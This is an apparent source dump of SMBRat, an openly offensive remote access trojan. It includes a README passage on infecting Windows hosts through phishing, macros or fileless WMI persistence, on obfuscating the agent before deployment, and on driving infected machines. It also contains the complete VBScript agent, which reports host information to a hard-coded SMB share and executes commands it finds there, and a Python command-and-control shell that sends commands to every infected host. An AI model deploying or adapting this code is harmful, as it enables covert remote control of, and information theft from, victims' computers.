warnings. 97 | 98 | 99 | ## Infection Scheme 100 | 101 | ### Infect a Host from a file 102 | A *While loop* can be added to the `agent.vbs` file's beginning, with a delay statement of multiple seconds (10 secs is ideal), and it will be able to infect windows hosts by *double clicking* / *phishing* / *excel macros* / etc... 103 | 104 | A `while True` loop in *VBS* with delay of 1 second looks like this: 105 | ```vb 106 | Do While True 107 | [...] 108 | WScript.Sleep 1000 109 | Loop 110 | ``` 111 | 112 | ### Infect a Host *fileless* 113 | Yet, if a Windows host has *RPC* enabled, it is possible to install the *VBS* file as *fileless malware* through `WMI` and the fabulous `impacket` package examples with a command like: 114 | ```bash 115 | $ examples/wmipersist.py ':@' install -vbs agent.vbs -name smbrat -timer 10 116 | ``` 117 | 118 | It is also possible to utilize the `WMI` tool by local access to install the `agent.vbs` as fileless malware. 119 | 120 | ### Obfuscation? 121 | Visual Basic Scripts can be nicely *obfuscated*, *base64*'d as well as *minified*. 122 | 123 | It can be really handy to give it a spin before "deploying" :wink: 124 | * [Online Tool for VBS Obfuscation](https://isvbscriptdead.com/vbs-obfuscator/) 125 | * [Github Repo](https://github.com/DoctorLai/VBScript_Obfuscator) 126 | 127 | ## [Directory Structure in the *SMB Share*](https://github.com/operatorequals/SMBRat/wiki/Directory-Structure) 128 | 129 | 130 | #### Never create folders manually in the Shared Folder 131 | 132 | 133 | 134 | ## Barebone Usage 135 | 136 | ~~At time of writing, no `Handler` shell is implemented,~~ so usage can be done by just using a command like `watch` to inspect the `output.dat` file: 137 | 138 | ```bash 139 | $ watch -n0.2 cat Share/projectName/DESKTOP-XXXXXXX-AA\:BB\:CC\:DD\:EE\:FF/output.dat 140 | ``` 141 | and `echo` to write stuff to the `exec.dat` file: 142 | ```bash 143 | $ echo 'whoami /all' > Share/projectName/DESKTOP-XXXXXXX-AA\:BB\:CC\:DD\:EE\:FF/exec.dat 144 | ``` 145 | 146 | ## The `handler.py` 147 | 148 | The experimental shell works as follows: 149 | ```bash 150 | $ python handler.py Share/ 151 | SMBRat> 152 | # When a new host gets infected: 153 | [+] Agent "DESKTOP-EG4OE7J" (00:0C:29:2B:9F:AF) just checked-in for Project: "projectName" 154 | 155 | SMBRat> execall whoami /user 156 | 157 | [>] Sending 'whoami /user' to "projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF" ... 158 | 159 | SMBRat> 160 | [<] Response from 'projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF': 161 | 162 | 163 | USER INFORMATION 164 | ---------------- 165 | 166 | User Name SID 167 | =================== ======== 168 | nt authority\system S-1-5-18 169 | 170 | ^^^^^^^^^^^^^^^^^^^^ projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF ^^^^^^^^^^^^^^^^^^^^ 171 | SMBRat> 172 | 173 | ``` 174 | 175 | ## Outstanding Pitfalls 176 | 177 | ### SMBv1 is **Not Encrypted** : 178 | 179 | ```bash 180 | # tcpdump -i eth0 -A 181 | tcpdump: verbose output suppressed, use -v or -vv for full protocol decode 182 | listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes 183 | 184 | [...] 185 | 186 | 15:25:06.695502 IP Deskjet-4540.microsoft-ds > 172.16.47.129.3128: Flags [P.], seq 2876:2971, ack 4791, win 2110, length 95 SMB PACKET: SMBreadX (REPLY) 187 | 188 | E...,E@.@.V.../.../....8 189 | .&Mi~.6P..>.......[.SMB........................ 190 | .@............ .;........... .net localgroup "administrators" 191 | 192 | [...] 193 | 194 | 15:25:06.702916 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 4917:5111, ack 3097, win 2052, length 194 SMB PACKET: SMBtrans2 (REQUEST) 195 | 196 | E...E.@......./.../..8..i~.. 197 | .'*P....b.......SMB2...................... 198 | 199 | .F..z.....(...........z.D.........}..........\.p.r.o.j.e.c.t.N.a.m.e.\.D.E.S.K.T.O.P.-.E.G.4.O.E.7.J.-.0.0.:.0.C.:.2.9.:.2.B.:.9.F.:.A.F.\.o.u.t.p.u.t...d.a.t... 200 | 201 | [...] 202 | 203 | 15:25:06.751372 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 6049:6393, ack 3748, win 2050, length 344 SMB PACKET: SMBwrite (REQUEST) 204 | 205 | E...E.@....L../.../..8..i~. 206 | .).P....*.....T.SMB........................ 207 | .T....$.......'..$.Alias name administrators 208 | Comment Administrators have complete and unrestricted access to the computer/domain 209 | 210 | Members 211 | 212 | ------------------------------------------------------------------------------- 213 | Admin 214 | Administrator 215 | defaultuser0 216 | The command completed successfully. 217 | 218 | [...] 219 | 220 | ``` 221 | 222 | The traffic (file *contents* and *paths*) are tranfered in plaintext if *SMBv1 Server* is used (e.g `impacket` 's `smbserver.py`). 223 | 224 | * An encryption/obfuscation layer would totally solve this one! 225 | 226 | ### The whole Share is *READ/WRITE* to Everyone: 227 | 228 | All Agents can modify files stored in the **Whole Share**. Meaning they can modify the `exec.dat` of other Agents... 229 | An `smbmap` will shed light: 230 | ```bash 231 | $ smbmap -H 172.16.47.189 232 | [+] Finding open SMB ports.... 233 | [+] User SMB session establishd on 172.16.47.189... 234 | [+] IP: 172.16.47.189:445 Name: Deskjet-4540 235 | Disk Permissions 236 | ---- ----------- 237 | D$ READ, WRITE 238 | [!] Unable to remove test directory at \\172.16.47.189\D$\SVNRmxBFAO, plreae remove manually 239 | IPC$ READ, WRITE 240 | [!] Unable to remove test directory at \\172.16.47.189\IPC$\SVNRmxBFAO, plreae remove manually 241 | ``` 242 | #### Pay attention to the lack of `-u` and `-p` parameters of `smbmap`. 243 | This is a *NULL session* (like FTP anonymous login). **EVERYONE can change the SHARE Files** and get *Remote Code Execution* on all infected machines. 244 | 245 | * Better fire up some `iptables` here... 246 | 247 | ### The sessions are NOT **Interactive** 248 | 249 | Type `execall netsh` and you lost all your Agents. None will respond as the `agent.vbs` will spawn the `netsh.exe` shell and will wait for it to terminate, so it can write its contents to `output.dat`. But Guess What... It **won't** terminate... It's gonna hang with the `netsh>` pointing to the void. 250 | -------------------------------------------------------------------------------- /agent.vbs: -------------------------------------------------------------------------------- 1 | ServerName = "\\172.16.47.191" 2 | ShareName = "D$" 3 | ProjectName = "projectName" 4 | Set NetworkObject = CreateObject("WScript.Network") 5 | Set FSO = CreateObject("Scripting.FileSystemObject") 6 | 7 | 'NetworkObject.MapNetworkDrive "", ServerShare, False, UserName, Password' 8 | ServerShare = ServerName & "\" & ShareName 9 | projectDir = ServerShare & "\" & ProjectName 10 | 11 | If NOT (FSO.FolderExists(projectDir)) Then 12 | FSO.CreateFolder(projectDir) 13 | End If 14 | 15 | 'Get The First MAC address' 16 | Set WMI = GetObject("winmgmts:\\.\root\cimv2") 17 | Set Nads = WMI.ExecQuery("Select * from Win32_NetworkAdapter where physicaladapter=true") 18 | Dim Nad 19 | For Each Nad in Nads 20 | macAddress = Nad.MACAddress 21 | exit for 22 | Next 23 | 24 | hostName = NetworkObject.ComputerName & "-" & NetworkObject.UserName & "-" & macAddress 25 | hostName = Replace(hostName, ":", "-") 26 | hostDir = projectDir & "\" & hostName 27 | hostDir = Replace(hostDir, ":", "-") 28 | 29 | If NOT (FSO.FolderExists(hostDir)) Then 30 | FSO.CreateFolder(hostDir) 31 | End If 32 | Set objShell = CreateObject("WScript.Shell") 33 | 34 | 'Setting the %PATH% variable in the execution environment' 35 | Set colVolEnvVars = objShell.Environment("Volatile") 36 | colVolEnvVars("PATH") = hostDir 37 | 38 | 'File locations' 39 | execFile = hostDir & "\exec.dat" 40 | infoFile = hostDir & "\info.dat" 41 | outFile = hostDir & "\output.dat" 42 | pingFile = hostDir & "\ping.dat" 43 | checkinFile = hostDir & "\checkin.dat" 44 | pathFile = hostDir & "\path.dat" 45 | Set colVolEnvVars = Nothing 46 | 47 | 'File that contains the UNC path for the Agent' 48 | If not FSO.FileExists(pathFile) Then 49 | Set objFile = FSO.CreateTextFile(pathFile, 1) 50 | objFile.write(hostDir & "\") 51 | objFile.Close 52 | End If 53 | 54 | 'File that is created when the agent first Checks-in' 55 | If not FSO.FileExists(checkinFile) Then 56 | Set oExec = objShell.Exec("%comspec% /c date /t && time /t") 57 | Set objFile = FSO.CreateTextFile(checkinFile, 1) 58 | objFile.write(oExec.StdOut.ReadAll() & oExec.StdErr.ReadAll()) 59 | objFile.Close 60 | End If 61 | 62 | 'File that lists the hosts information' 63 | If not FSO.FileExists(infoFile) Then 64 | Set oExec = objShell.Exec("%comspec% /c systeminfo") 65 | Set objFile = FSO.CreateTextFile(infoFile, 1) 66 | objFile.write(oExec.StdOut.ReadAll() & oExec.StdErr.ReadAll()) 67 | objFile.Close 68 | End If 69 | 70 | 'File that "changes" every time the script is run' 71 | Set objFile = FSO.CreateTextFile(pingFile, 1) 72 | objFile.write("") 73 | objFile.Close 74 | 75 | 'File that contains a command' 76 | If FSO.FileExists(execFile) Then 77 | 78 | Set execObjFile = FSO.OpenTextFile(execFile,1) 79 | user_comm = execObjFile.ReadAll() 80 | 81 | command = "%comspec% /c " & user_comm 82 | 'command = "powershell.exe " & user_comm' 83 | Set oExec = objShell.Exec(command) 84 | 85 | Set objFile = FSO.OpenTextFile(outFile, 8, 1) 86 | objFile.write(oExec.StdOut.ReadAll() & oExec.StdErr.ReadAll()) 87 | objFile.Close 88 | 89 | execObjFile.Close 90 | FSO.DeleteFile execFile 91 | 92 | End If 93 | 'NetworkObject.RemoveNetworkDrive ServerShare, True, False' 94 | -------------------------------------------------------------------------------- /handler.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import cmd 3 | import os 4 | import shutil 5 | import pprint 6 | import time 7 | 8 | from watchdog.events import FileSystemEventHandler 9 | from watchdog.observers import Observer 10 | 11 | from termcolor import colored 12 | 13 | EXEC_DAT = 'exec.dat' 14 | OUTPUT_DAT = 'output.dat' 15 | PING_DAT = 'ping.dat' 16 | INFO_DAT = 'info.dat' 17 | CHECKIN_DAT = 'checkin.dat' 18 | PATH_DAT = 'path.dat' 19 | HIST_DAT = 'hist.dat' 20 | PLUGINS = 'plugins' 21 | Share = None 22 | No_history = False 23 | 24 | Sessions = dict() 25 | 26 | 27 | class CLIArgumentParser(argparse.ArgumentParser): 28 | def exit(self, ex_code=1, message="Unrecognised"): 29 | return 30 | 31 | 32 | def get_path(agent, project=None, file=INFO_DAT): 33 | if project is None: 34 | project = find_project(agent) 35 | return Share + os.sep + project + os.sep + agent + os.sep + file 36 | 37 | 38 | def get_exec_path(project, agent): 39 | return get_path(agent, project, EXEC_DAT) 40 | 41 | 42 | def get_output_path(project, agent): 43 | return get_path(agent, project, OUTPUT_DAT) 44 | 45 | 46 | def iterate_agents(session_dict): 47 | for project in session_dict.keys(): 48 | for agent in session_dict[project]: 49 | yield project, agent 50 | 51 | 52 | def get_plugins_from_path(path): 53 | if os.path.exists(path): 54 | for root, dirs, files in os.walk(path): 55 | return set(files) 56 | return set() 57 | 58 | 59 | def find_project(agent): 60 | for project in Sessions.keys(): 61 | if agent in Sessions[project].keys(): 62 | return project 63 | raise Exception( 64 | '[!] Project Not Found for Agent "{}"'.format(colored(agent, 'red')) 65 | ) 66 | 67 | 68 | def initialize(share_folder): 69 | """ 70 | Traverse the "Share/" shared folder and parse the tree of Projects and 71 | Agents. 72 | Share/ 73 | | 74 | \--Project1 75 | | | 76 | | \--- 77 | | \--- 78 | | 79 | \--Project2 80 | | 81 | \--- 82 | [...] 83 | """ 84 | global Share 85 | Share = share_folder 86 | 87 | # Changed os.listdir to os.walk which returns [path/of/dir, 88 | # [tupple, of, directories], [tuple, of, files]] 89 | for project in os.listdir(share_folder): 90 | # print (project) 91 | if os.path.isfile(project): 92 | continue 93 | Sessions[project] = {} 94 | project_dir = Share + os.sep + project 95 | for agent in os.listdir(project_dir): 96 | if os.path.isfile(agent): 97 | continue 98 | Sessions[project][agent] = {} 99 | # agent_dir = project_dir + os.sep + agent + os.sep 100 | # Sessions[project][agent]['exec'] = os.path.isfile( 101 | # agent_dir + EXEC_DAT 102 | # ) 103 | # Sessions[project][agent]['output'] = os.path.isfile( 104 | # agent_dir + OUTPUT_DAT 105 | # ) 106 | 107 | 108 | def check_active(project, agents=None, timeout=20): 109 | ret = {} 110 | if agents is None: 111 | agents = Sessions[project].keys() 112 | for agent in agents: 113 | agent_ping_path = get_path(agent, project, PING_DAT) 114 | now = int(time.time()) 115 | # Get the Modified Time of "ping.dat" of the Agent 116 | mtime = os.stat(agent_ping_path)[-2] 117 | pinged_before = int(now) - mtime 118 | alive = timeout - pinged_before > 0 119 | ret[agent] = { 120 | 'alive': alive, 121 | 'last': pinged_before 122 | } 123 | return ret 124 | 125 | 126 | class SessionHandler(FileSystemEventHandler): 127 | 128 | def on_created(self, event): 129 | # print(event, event.src_path.endswith(CHECKIN_DAT), CHECKIN_DAT) 130 | if event.src_path.endswith(CHECKIN_DAT): 131 | # if path of type ...////checkin.dat 132 | project, agent = event.src_path.split(os.sep)[-3:-1] 133 | # MAC characters: len('XX:XX:XX:XX:XX:XX') = 17 134 | agent_hostname, agent_mac = agent[:-18], agent[-17:] 135 | # print (project, agent_hostname, agent_mac) 136 | print( 137 | '[+] Agent "{}" ({}) just checked-in for Project: "{}"' 138 | .format( 139 | colored(agent_hostname, 'green'), 140 | colored(agent_mac, 'grey'), 141 | colored(project, 'blue') 142 | ) 143 | ) 144 | Sessions[project] = {} 145 | Sessions[project][agent] = {} 146 | # print (Sessions) 147 | 148 | def on_deleted(self, event): 149 | if event.src_path.endswith(EXEC_DAT): 150 | # event.src_path: /// 151 | # changed event.src_path.split(os.sep)[-1:-1] to 152 | # event.src_path.split(os.sep)[-3:-1] 153 | project, agent = event.src_path.split(os.sep)[-3:-1] 154 | output_dat = get_output_path(project, agent) 155 | with open(output_dat, 'r') as output_file: 156 | response = output_file.read() 157 | _str = ( 158 | '[<] Response from "{project}/{hostname}":\n\n' 159 | '{response}\n' 160 | '^^^^^^^^^^^^^^^^^^^^ {project}/{hostname} ' 161 | '^^^^^^^^^^^^^^^^^^^^\n' 162 | ).format( 163 | project=colored(project, 'blue'), 164 | hostname=colored(agent, 'green'), 165 | response=colored(response, 'white', attrs=['bold']) 166 | ) 167 | print(_str) 168 | if not No_history: 169 | history_dat = get_path(agent, project, HIST_DAT) 170 | # os.touch(history_dat) 171 | # Dirty for file creation 172 | # os.system("touch {}".format(history_dat)) 173 | with open(history_dat, 'a') as history_file: 174 | history_file.write( 175 | '{response}\n' 176 | ' =========== {timestamp} ===========' 177 | .format(response=response, timestamp=time.ctime()) 178 | ) 179 | 180 | 181 | class SMBRatShell(cmd.Cmd): 182 | 183 | def __init__(self, session_dict): 184 | super().__init__() 185 | self.prompt = '{}{}'.format( 186 | colored('SMBRat', 'red'), 187 | colored("> ", 'white', attrs=['bold']) 188 | ) 189 | self.session_dict = session_dict 190 | self.selected = set() 191 | self.agent_list = [] 192 | 193 | # def do_EOF(self, *args): return '' 194 | def emptyline(self, *args): return '' 195 | 196 | def do__session(self, line): 197 | pprint.pprint(self.session_dict) 198 | pass 199 | 200 | def do_selected(self, line): 201 | arg_parser = CLIArgumentParser() 202 | arg_parser.add_argument( 203 | '--add', '-a', help='Add an Agent to the "selected" list', 204 | nargs='+', default=[] 205 | ) 206 | arg_parser.add_argument( 207 | '--remove', '-r', help='Remove an Agent from the "selected" list', 208 | nargs='+', default=[] 209 | ) 210 | arg_parser.add_argument( 211 | '--clear', '-c', help='Remove ALL Agents from the "selected" list', 212 | action='store_true' 213 | ) 214 | args = arg_parser.parse_args(line.split()) 215 | 216 | if args.clear: 217 | self.selected = set() 218 | return 219 | 220 | arg_list = [] 221 | if args.add: 222 | arg_list.extend(args.add) 223 | if args.remove: 224 | arg_list.extend(args.remove) 225 | 226 | for i, n_arg in enumerate(arg_list): 227 | try: 228 | agent = self.agent_list[int(n_arg)] 229 | except Exception: 230 | agent = n_arg 231 | try: 232 | find_project(agent) 233 | except Exception: 234 | print("Agent '{}' not found".format(colored(agent, 'red'))) 235 | continue 236 | if i < len(args.add): # It is an '--add' argument 237 | self.selected.add(agent) 238 | else: # It is an '--remove' argument 239 | try: 240 | self.selected.remove(agent) 241 | except Exception: 242 | print( 243 | "[!] Agent {} not Selected" 244 | .format(colored(agent, 'red')) 245 | ) 246 | 247 | if not self.selected: 248 | print(colored("No Agents selected!", 'magenta')) 249 | return 250 | self.onecmd("agents --selected") 251 | 252 | def do_agents(self, line): 253 | """ 254 | > agents 255 | 256 | Shows the list of Selected Agents 257 | 258 | """ 259 | arg_parser = CLIArgumentParser() 260 | arg_parser.add_argument( 261 | '--list', '-l', 262 | help='Show last Agent List', action='store_true' 263 | ) 264 | arg_parser.add_argument( 265 | '--active', '-a', 266 | help='List all Active Agents', type=int, default=0, nargs='?' 267 | ) 268 | arg_parser.add_argument( 269 | '--find', '-f', 270 | help='Search for a substring in all available Agent names', 271 | type=str 272 | ) 273 | arg_parser.add_argument( 274 | '--selected', '-s', help='List all Selected Agents', 275 | action='store_true' 276 | ) 277 | # arg_parser.add_argument( 278 | # '-v', help='List all Agents with verbosity', action='store_true' 279 | # ) 280 | args = arg_parser.parse_args(line.split()) 281 | if args.active is None: # If --active was set alone 282 | args.active = 20 # give it default value 283 | elif args.active <= 0: # If --active was not set 284 | args.active = None # Turn it to "None" 285 | # print (args.active) 286 | 287 | if args.selected: 288 | args.list = True 289 | self.agent_list = list(self.selected) 290 | 291 | if args.list: 292 | for i, agent in enumerate(self.agent_list): 293 | print("{:3}) {}".format(i, agent)) 294 | return 295 | self.agent_list = [] 296 | 297 | for project in self.session_dict.keys(): 298 | active_agents = check_active( 299 | project, timeout=args.active if args.active else 20 300 | ) 301 | print("=== {}".format(colored(project, 'blue'))) 302 | 303 | for agent, act_tuple in active_agents.items(): 304 | if args.active is not None: 305 | if not act_tuple['alive']: # if Agent isn't active 306 | continue # Do not print its status 307 | print("[{alive}] {agent} ({last} secs ago)".format( 308 | alive=colored( 309 | "X" if act_tuple['alive'] else " ", 'green', 310 | attrs=['bold'] 311 | ), 312 | agent=colored(agent, 'green'), 313 | last=int(act_tuple['last']) 314 | ) 315 | ) 316 | self.agent_list.append(agent) 317 | return 318 | 319 | def show_agent_file(self, agent, file_=INFO_DAT): 320 | agent_file_path = get_path(agent, file=file_) 321 | project = find_project(agent) 322 | with open(agent_file_path) as file_obj: 323 | content_str = file_obj.read() 324 | print(( 325 | '{project} / {agent}\n' 326 | '{info}' 327 | '{ruler}' 328 | ).format( 329 | project=colored(project, 'blue'), 330 | agent=colored(agent, 'green'), 331 | info=colored(content_str, 'white', attrs=['bold']), 332 | ruler=colored("=" * 20, 'magenta',), 333 | ) 334 | ) 335 | 336 | def do_checkin(self, line): 337 | """ 338 | > checkin 339 | 340 | Shows the date and time of Checkin as declared by the Selected Agents 341 | """ 342 | if not self.selected: 343 | print(colored("No Agents selected!", 'magenta')) 344 | return 345 | for agent in self.selected: 346 | self.show_agent_file(agent, CHECKIN_DAT) 347 | 348 | def do_path(self, line): 349 | """ 350 | > path 351 | 352 | Shows the UNC Path declared by the Selected Agents for their Writable Folders 353 | """ 354 | if not self.selected: 355 | print(colored("No Agents selected!", 'magenta')) 356 | return 357 | for agent in self.selected: 358 | self.show_agent_file(agent, PATH_DAT) 359 | 360 | def do_sysinfo(self, line): 361 | """ 362 | > sysinfo 363 | 364 | Shows System Info declared by the Selected Agents 365 | """ 366 | if not self.selected: 367 | print(colored("No Agents selected!", 'magenta')) 368 | return 369 | for agent in self.selected: 370 | self.show_agent_file(agent, INFO_DAT) 371 | 372 | def do_execall(self, line): 373 | """ 374 | > execall 375 | 376 | Runs the to *ALL AGENTS* 377 | Example: 378 | > execall "whoami /all" 379 | 380 | """ 381 | saved_selected = self.selected 382 | allset = set() 383 | for project in self.session_dict.keys(): 384 | for agent in self.session_dict[project].keys(): 385 | allset.add(agent) 386 | 387 | self.selected = allset 388 | self.do_exec(line) 389 | self.selected = saved_selected 390 | 391 | def do_exec(self, line): 392 | """ 393 | > exec 394 | 395 | Runs the to the selected Agents 396 | Example: 397 | > exec "whoami /all" 398 | """ 399 | for agent in self.selected: 400 | print(agent) 401 | project = find_project(agent) 402 | exec_path = get_exec_path(project, agent) 403 | try: 404 | with open(exec_path, 'w+') as exfile: 405 | exfile.write(line) 406 | _str = ( 407 | '[>] Sending "{command}" to "{project}/{hostname}" ...' 408 | .format( 409 | command=colored(line, 'cyan', attrs=['bold']), 410 | project=colored(project, 'blue'), 411 | hostname=colored(agent, 'green') 412 | ) 413 | ) 414 | print(_str) 415 | 416 | except PermissionError as perror: 417 | print(''' 418 | [!!!] Could not write to '{path}'. 419 | 420 | Usually happens because the SMB Server (who creates the files) runs as "root" 421 | (to bind the port 445 TCP). 422 | Type the command below to a new root shell and retry: 423 | chmod -R 777 "{share}"'''.format(path=exec_path, share=Share)) 424 | return 425 | 426 | def do_exit(self, line): 427 | return True 428 | 429 | def do_plugins(self, line): 430 | arg_parser = CLIArgumentParser() 431 | arg_parser.add_argument( 432 | '--add', '-a', help='Add a Plugin to the "selected" Agent', 433 | nargs='+', default=[] 434 | ) 435 | arg_parser.add_argument( 436 | '--remove', '-r', help='Remove a Plugin from the "selected" Agent', 437 | nargs='+', default=[] 438 | ) 439 | arg_parser.add_argument( 440 | '--list', '-l', help='List all available Plugins', 441 | action='store_true' 442 | ) 443 | args = arg_parser.parse_args(line.split()) 444 | 445 | if not self.selected: 446 | print(colored("No Agents selected!", 'magenta')) 447 | return 448 | 449 | all_plugins = get_plugins_from_path(PLUGINS) 450 | plugins_add = set(args.add) & all_plugins 451 | plugins_remove = set(args.remove) 452 | 453 | for project, agent in iterate_agents(self.session_dict): 454 | if agent not in self.selected: 455 | continue 456 | 457 | plugin_path = get_path(agent, project, PLUGINS) 458 | if not os.path.exists(plugin_path): 459 | os.mkdir(plugin_path) 460 | 461 | for plugin in plugins_remove: 462 | installed_plugins = get_plugins_from_path(plugin_path) 463 | if plugin not in installed_plugins: 464 | continue 465 | os.remove(os.path.join(plugin_path, plugin)) 466 | 467 | for plugin in plugins_add: 468 | shutil.copy(os.path.join('plugins', plugin), plugin_path) 469 | 470 | _header = ( 471 | '{project} / {agent}\n\n' 472 | 'Plugins\n' 473 | '-------\n' 474 | ) 475 | installed_plugins = get_plugins_from_path(plugin_path) 476 | plugin_text = '\n'.join([ 477 | colored( 478 | plugin, 479 | 'green' if plugin in installed_plugins else 'white' 480 | ) 481 | for plugin in all_plugins 482 | ]) 483 | header = _header.format( 484 | agent=colored(agent, 'green'), 485 | project=colored(project, 'blue'), 486 | ) 487 | print('{header}{text}'.format(header=header, text=plugin_text)) 488 | 489 | 490 | if __name__ == '__main__': 491 | 492 | parser = argparse.ArgumentParser() 493 | 494 | parser.add_argument( 495 | 'SHARE_PATH', 496 | help='Path to the directory that is used with the SMB Share' 497 | ) 498 | parser.add_argument( 499 | '--no-history', 500 | help=( 501 | 'Disables storing the Command Outputs in a history file per Agent' 502 | ), 503 | action='store_true' 504 | ) 505 | # parser.add_argument( 506 | # '--smb-auto-start', '-s', 507 | # help=( 508 | # 'Uses impacket\'s "smbserver.py" to start an SMB Server ' 509 | # 'with specified "ShareName"' 510 | # ), 511 | # default=False, action='store_true' 512 | # ) 513 | 514 | args = parser.parse_args() 515 | # print (args) 516 | No_history = args.no_history 517 | share_folder = args.SHARE_PATH 518 | initialize(share_folder) 519 | 520 | shell = SMBRatShell(Sessions) 521 | 522 | observer = Observer() 523 | event_handler = SessionHandler() 524 | observer.schedule(event_handler, share_folder, recursive=True) 525 | observer.start() 526 | 527 | shell.cmdloop() 528 | -------------------------------------------------------------------------------- /plugins/.keep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/operatorequals/SMBRat/cb7635249dadf109f53e2bf72e82571d8d48a778/plugins/.keep -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | watchdog 2 | termcolor 3 | --------------------------------------------------------------------------------